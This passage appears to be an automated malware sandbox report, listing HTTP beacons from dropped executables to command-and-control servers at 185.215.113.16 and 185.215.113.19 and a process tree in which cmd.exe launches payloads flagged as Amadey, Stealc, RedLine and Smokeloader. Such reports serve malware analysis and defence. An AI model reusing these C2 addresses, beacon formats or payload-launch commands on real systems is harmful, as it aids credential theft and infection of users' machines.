Jul 27, 2024 09:26:56.679723978 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:56.928658009 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49845	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:55.764975071 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:56.666141033 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:56.688007116 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:56.948503971 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49846	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:57.047310114 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:57.881158113 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:57.881944895 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:58.127645969 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49847	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:57.062395096 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:57.881206036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:57.882313967 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:58.131159067 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49849	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:58.301162004 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:59.070265055 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:59.070789099 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:59.331258059 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49848	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:58.301167965 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:59.050118923 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:59.053134918 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:59.329188108 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49852	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:59.380166054 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 09:26:59.873796940 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 76247 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 09:27:09.953293085 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 09:27:20.058506012 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 09:27:30.160605907 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 09:27:40.327116013 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49855	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:59.451947927 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:27:00.270598888 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:27:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49854	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:59.452065945 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:27:00.254401922 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:27:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Target ID:	0
Start time:	03:24:53
Start date:	27/07/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	250'368 bytes
MD5 hash:	C8B29F4C8C60A861B941DC46C03D41BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2382069321.00000000024A7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2382041122.000000000248D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2382069321.00000000024E4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2382402163.00000000040B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:25:11
Start date:	27/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingCFCGIIEHIE.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:25:12
Start date:	27/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:25:12
Start date:	27/07/2024
Path:	C:\Users\user\AppData\RoamingCFCGIIEHIE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\RoamingCFCGIIEHIE.exe"
Imagebase:	0x360000
File size:	1'876'480 bytes
MD5 hash:	1495ABBBF8BDABFF61B2E0BDFE9395F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2193493268.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2233910747.0000000000361000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:25:13
Start date:	27/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userAKKKFBGDHJ.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:25:13
Start date:	27/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:25:13
Start date:	27/07/2024
Path:	C:\Users\userAKKKFBGDHJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userAKKKFBGDHJ.exe"
Imagebase:	0x40000
File size:	1'897'984 bytes
MD5 hash:	C9774CB1F811AA79F9FDC173EE3DE6C1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.2223307017.0000000004810000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000002.2311565762.0000000000041000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:25:14
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Imagebase:	0x3a0000
File size:	1'876'480 bytes
MD5 hash:	1495ABBBF8BDABFF61B2E0BDFE9395F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.2231516085.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.2272266422.00000000003A1000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:25:14
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0x3a0000
File size:	1'876'480 bytes
MD5 hash:	1495ABBBF8BDABFF61B2E0BDFE9395F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.2229306012.0000000005130000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.2270763682.00000000003A1000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:25:15
Start date:	27/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2764 -s 2376
Imagebase:	0x430000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:25:22
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Imagebase:	0x7f0000
File size:	1'897'984 bytes
MD5 hash:	C9774CB1F811AA79F9FDC173EE3DE6C1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000003.2299903441.0000000004980000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.2340448283.00000000007F1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:26:00
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x7f0000
File size:	1'897'984 bytes
MD5 hash:	C9774CB1F811AA79F9FDC173EE3DE6C1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000003.2671470506.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000002.3241787684.00000000007F1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	03:26:00
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0x3a0000
File size:	1'876'480 bytes
MD5 hash:	1495ABBBF8BDABFF61B2E0BDFE9395F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.3241989382.00000000003A1000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000003.2669468186.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	03:26:05
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe"
Imagebase:	0x400000
File size:	250'368 bytes
MD5 hash:	C8B29F4C8C60A861B941DC46C03D41BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000014.00000002.2765064487.000000000251D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000002.2765136724.0000000002536000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000014.00000002.2765545970.00000000040B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:26:07
Start date:	27/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 8016 -s 1048
Imagebase:	0x430000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	03:26:10
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe"
Imagebase:	0x2b0000
File size:	3'248'128 bytes
MD5 hash:	0794B4C99B4E217967E91CFA0BD8F04B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	03:26:19
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe"
Imagebase:	0x400000
File size:	250'368 bytes
MD5 hash:	C8B29F4C8C60A861B941DC46C03D41BC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000018.00000002.2900160849.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000002.2899807297.00000000025EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000018.00000002.2899758965.00000000025D2000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	03:26:22
Start date:	27/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6648 -s 1040
Imagebase:	0x430000
File size:	483'680 bytes
